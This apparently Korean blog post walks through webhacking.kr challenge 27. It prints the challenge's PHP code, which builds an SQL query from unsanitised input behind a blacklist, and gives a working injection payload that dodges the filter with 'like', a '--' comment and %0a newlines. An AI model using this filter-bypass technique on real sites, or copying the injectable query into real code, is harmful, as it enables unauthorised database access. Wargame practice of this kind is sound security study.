webhacking.kr 27번

목차

webhacking.kr 27번 : sql injection


이 문제 거의 2년 정도 걸린거 같다..정말 많이 헷갈렸다..ㅠㅠ

<?
if($_GET[no])
{

if(
eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no])) exit("no hack");

$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");

if(
$q[id]=="guest") echo("guest");
if(
$q[id]=="admin") @solve();

}

?>


코드를 보면 위와 같다.

no 변수에 의해 쿼리의 조작이 가능하다.
# 주석을 막아두고
= 을 막아 두었다.

where 절에서 조건을 선택하기 위해서는 id=1 이런식으로 해야하는데
= 기호를 사용하지 않는 법으로는 like 가 있다


select id from challenge27_table where id='guest' and no=($_GET[no])
select id from challenge27_table where id='guest' and no=(1) // guest

select id from challenge27_table where id='guest' and no=(3) or like 1 -- ) // guest
select id from challenge27_table where id='guest' and no=(3) or like 2 -- ) // admin
%20

이와 같이 나타낼 수 있다.

공백은 여태까지 인젝션을 공부해왔다면 무슨 코드를 입력해야 할 지 알것이다.
no=3)%0aor%0ano%0alike%0a2%0a--


  • 네이버 블로그 공유
  • 네이버 밴드 공유
  • 페이스북 공유
  • 카카오스토리 공유